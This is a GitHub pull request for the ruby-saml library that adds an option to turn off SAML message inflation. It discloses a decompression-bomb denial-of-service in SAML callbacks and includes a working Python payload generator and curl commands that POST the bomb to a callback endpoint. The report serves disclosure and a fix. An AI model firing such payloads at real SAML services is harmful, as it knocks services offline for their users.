Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Introduce inflate option to disable SAML message inflation #383

Conversation

pbanos
Copy link

@pbanos pbanos commented Mar 29, 2017

Issue

In one of our projects we are using omniauth-saml and ruby-saml to implement
Single Sign-On through SAML. It was brought to our attention by @0ang3el, one of
our security experts, that our app was vulnerable to the following DoS attack
because the SAML callback automatically decompresses SAML responses:

Attacker can compress huge XML and pass several requests with compressed XML to
SAML endpoint. Deflate allows the attacker to achieve 1000:1 compression ratio
(10Gb into 10Mb).

I looked into the internals of ruby-saml and found that there was no option to
turn the automatic decompressing off.

Evidence

I reproduce below the evidence @0ang3el provided for this vulnerability:

  1. You can use this Python script to produce DoS payload.
import zlib
import StringIO
import base64
import sys
import urllib

d = 	{
		"K"	: 1024,
		"M"	: 1024*1024,
		"G"	: 1024*1024*1024
	}

num = int(sys.argv[1])
measure = d.get(sys.argv[2],1024)
outfile = "/tmp/bomb.txt"

def gzip_encode(str):
    return zlib.compress(str)[2:-4]

prefix= """<?xml version="1.0" encoding="UTF-8"?>
<samlp:LogoutRequest xmlns:samlp="urn:oasis:names:tc:SAML:2.0:protocol" xmlns:saml="urn:oasis:names:tc:SAML:2.0:assertion" ID="ONELOGIN_21df91a89767879fc0f7df6a1490c6000c81644d" Version="2.0" IssueInstant="2014-07-18T01:13:06Z" Destination="http://idp.example.com/SingleLogoutService.php">
  <saml:Issuer>"""
suffix= """</saml:Issuer>
  <saml:NameID SPNameQualifier="http://sp.example.com/demo1/metadata.php" Format="urn:oasis:names:tc:SAML:2.0:nameid-format:transient">ONELOGIN_f92cc1834efc0f73e9c09f482fce80037a6251e7</saml:NameID>
</samlp:LogoutRequest>"""

data = prefix + "A" * (num * measure) + suffix

with open(outfile,"w") as f:
	f.write( "SAMLResponse=" + urllib.quote(base64.b64encode(gzip_encode(data))) )
  1. Produce 100K payload and issue POST request to the SAML callback endpoint
    (here we will use https://example.com/auth/saml/callback). You will get quick
    HTTP 302 response.
python gzip_bomb.py 100 K

curl -i -s -k  -X $'POST' \
    -H $'User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0' -H $'Content-Type: application/x-www-form-urlencoded' \
    --data-binary "@/tmp/bomb.txt" \
    $'https://example.com/auth/saml/callback'
  1. Produce 100M (or 1G) payload and issue POST request to the SAML callback
    endpoint. After one minute you will get HTTP 500 response.
python gzip_bomb.py 100 M

curl -i -s -k  -X $'POST' \
    -H $'User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0' -H $'Content-Type: application/x-www-form-urlencoded' \
    --data-binary "@/tmp/bomb.txt" \
    $'https://example.com/auth/saml/callback'

Fix

I have added a new inflate option to OneLogin::RubySaml::Settings. I have
set it to default to true thinking of backward-compatibility for scenarios
currently relaying on SAML response inflation.

I have modified OneLogin::RubySaml::SamlMessage#decode_raw_saml to accept an
optional settings parameter, and to attempt inflation only if the received
settings has the inflate option set to true.

I have modified the following to use the received settings (if any) on the call
to #decode_raw_saml on initialization:

  • OneLogin::RubySaml::Logoutresponse
  • OneLogin::RubySaml::Response
  • OneLogin::RubySaml::SloLogoutrequest

Regarding tests, I have added tests for the non-inflation scenario for
OneLogin::RubySaml::SamlMessage#decode_raw_saml to keep coverage.

@pitbulk
Copy link
Collaborator

pitbulk commented Mar 29, 2017

Let me review that issue, inflate is part of the SAML protocol so we need to find the way to avoid this kind of attacks, without disabling the inflate process.

@pbanos
Copy link
Author

pbanos commented Mar 30, 2017

ok @pitbulk, let me know if I can help in any way :)

@pitbulk
Copy link
Collaborator

pitbulk commented Mar 30, 2017

Ok, I see you are from Seville like me ;)

Right now my queue of pending task is quite huge, but I will try to give this issue priority.

@oTsogbadrakhChinzorig
Copy link

I think this is also important issue. But, still i think we can do validation before pass go library. I hope this this library only follows the SAML 2.0 protocol.

@cmichelQT
Copy link

Any update on this ?

@pitbulk pitbulk force-pushed the master branch 5 times, most recently from 2eed006 to c72c2fc Compare December 26, 2018 13:44
@pitbulk
Copy link
Collaborator

pitbulk commented Mar 21, 2019

Alternative described here https://bomb.codes/mitigations:
Limit the amount of resources available to the process and its children.

@johnnyshields
Copy link
Collaborator

@pitbulk I believe this can be closed in favor of #601

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
Projects
None yet
Development

Successfully merging this pull request may close these issues.

5 participants